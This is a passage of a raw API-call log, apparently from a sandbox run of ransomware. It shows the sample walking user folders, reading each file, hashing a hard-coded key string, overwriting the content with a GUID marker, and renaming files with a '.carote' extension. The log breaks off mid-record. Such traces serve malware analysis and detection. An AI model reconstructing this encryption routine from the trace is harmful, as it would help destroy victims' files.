lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.105] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.105] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.105] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x182ac2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0114.105] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned=".cab" [0114.105] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.107] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=25340970) returned 1 [0114.107] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.109] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x182ac04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.109] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.111] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x25805, lpOverlapped=0x0) returned 1 [0114.112] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.113] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.113] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.113] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecd70) returned 1 [0114.113] CryptCreateHash (in: hProv=0x50ecd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.113] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.113] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.114] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.114] GetLastError () returned 0x0 [0114.114] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.114] CryptReleaseContext (hProv=0x50ecd70, dwFlags=0x0) returned 1 [0114.114] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0114.115] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x182ac2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.115] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.115] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.115] CloseHandle (hObject=0x61c) returned 1 [0114.516] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.carote")) returned 1 [0114.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.519] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.520] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 1 [0114.520] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned=".msi" [0114.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.522] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=906752) returned 1 [0114.522] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.525] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdd5da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.525] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.527] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.527] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x25805, lpOverlapped=0x0) returned 1 [0114.532] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.532] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.533] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.533] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecd70) returned 1 [0114.534] CryptCreateHash (in: hProv=0x50ecd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.535] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.535] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.535] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.535] GetLastError () returned 0x0 [0114.535] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.535] CryptReleaseContext (hProv=0x50ecd70, dwFlags=0x0) returned 1 [0114.537] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdd600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.537] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.537] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.537] CloseHandle (hObject=0x61c) returned 1 [0114.550] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.carote")) returned 1 [0114.552] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 0 [0114.552] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.552] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.552] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da140 [0114.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.552] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\") returned="GP_hmZxeLiKuo3\\" [0114.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.552] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16520 [0114.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\") returned="Z9S-Lyrz1J9mVBffWgx3\\" [0114.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0114.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f818 [0114.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16520 | out: hHeap=0x5010000) returned 1 [0114.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\") returned="DflAw\\" [0114.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecd70 [0114.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f818 | out: hHeap=0x5010000) returned 1 [0114.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\") returned="UYaZ4DG0b_NROc5iB6tm\\" [0114.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0114.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecd70 | out: hHeap=0x5010000) returned 1 [0114.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0114.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0114.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0114.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0114.553] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.553] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.553] PathFindFileNameW (pszPath="") returned="" [0114.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da140 [0114.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f957540, ftCreationTime.dwHighDateTime=0x1d4c5bb, ftLastAccessTime.dwLowDateTime=0xd6ce7730, ftLastAccessTime.dwHighDateTime=0x1d4cc42, ftLastWriteTime.dwLowDateTime=0xd6ce7730, ftLastWriteTime.dwHighDateTime=0x1d4cc42, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da140 | out: hHeap=0x5010000) returned 1 [0114.555] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f957540, ftCreationTime.dwHighDateTime=0x1d4c5bb, ftLastAccessTime.dwLowDateTime=0xd6ce7730, ftLastAccessTime.dwHighDateTime=0x1d4cc42, ftLastWriteTime.dwLowDateTime=0xd6ce7730, ftLastWriteTime.dwHighDateTime=0x1d4cc42, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.555] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x273cc60, ftCreationTime.dwHighDateTime=0x1d4cfe9, ftLastAccessTime.dwLowDateTime=0xe104e070, ftLastAccessTime.dwHighDateTime=0x1d4d437, ftLastWriteTime.dwLowDateTime=0xe104e070, ftLastWriteTime.dwHighDateTime=0x1d4d437, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DrYYTX _BQbZrK6Uad", cAlternateFileName="DRYYTX~1")) returned 1 [0114.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xf0) returned 0x79f8730 [0114.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xf0) returned 0x79ed938 [0114.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xf0) returned 0x79f1a60 [0114.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ed938 | out: hHeap=0x5010000) returned 1 [0114.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0114.555] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b200300, ftCreationTime.dwHighDateTime=0x1d4cd93, ftLastAccessTime.dwLowDateTime=0x8a2fcd90, ftLastAccessTime.dwHighDateTime=0x1d4d104, ftLastWriteTime.dwLowDateTime=0x8a2fcd90, ftLastWriteTime.dwHighDateTime=0x1d4d104, nFileSizeHigh=0x0, nFileSizeLow=0x17af1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hcn-5BQ.flv", cAlternateFileName="")) returned 1 [0114.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da140 [0114.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x136) returned 0x79f4e98 [0114.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da140 | out: hHeap=0x5010000) returned 1 [0114.555] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\hcn-5BQ.flv") returned=".flv" [0114.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\hcn-5BQ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\hcn-5bq.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.556] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=97009) returned 1 [0114.557] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.558] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17acb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.558] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0114.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.560] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.560] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x17af1, lpOverlapped=0x0) returned 1 [0114.561] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0114.561] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.561] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.561] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecd70) returned 1 [0114.562] CryptCreateHash (in: hProv=0x50ecd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.562] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.562] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0114.562] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.562] GetLastError () returned 0x0 [0114.562] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.562] CryptReleaseContext (hProv=0x50ecd70, dwFlags=0x0) returned 1 [0114.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0114.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x17af0) returned 0x7b1c730 [0114.563] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.563] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0x17aec, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0x17aec, lpOverlapped=0x0) returned 1 [0114.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0114.563] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17af1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0114.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0114.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0114.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0114.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.563] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.564] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.564] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.564] CloseHandle (hObject=0x61c) returned 1 [0114.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a222d0 [0114.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8f0) returned 0x7b14908 [0114.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a222d0 | out: hHeap=0x5010000) returned 1 [0114.565] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\hcn-5BQ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\hcn-5bq.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\hcn-5BQ.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\hcn-5bq.flv.carote")) returned 1 [0114.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.566] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.567] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f4e98 | out: hHeap=0x5010000) returned 1 [0114.567] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc74040, ftCreationTime.dwHighDateTime=0x1d4c5ef, ftLastAccessTime.dwLowDateTime=0x7dd9e350, 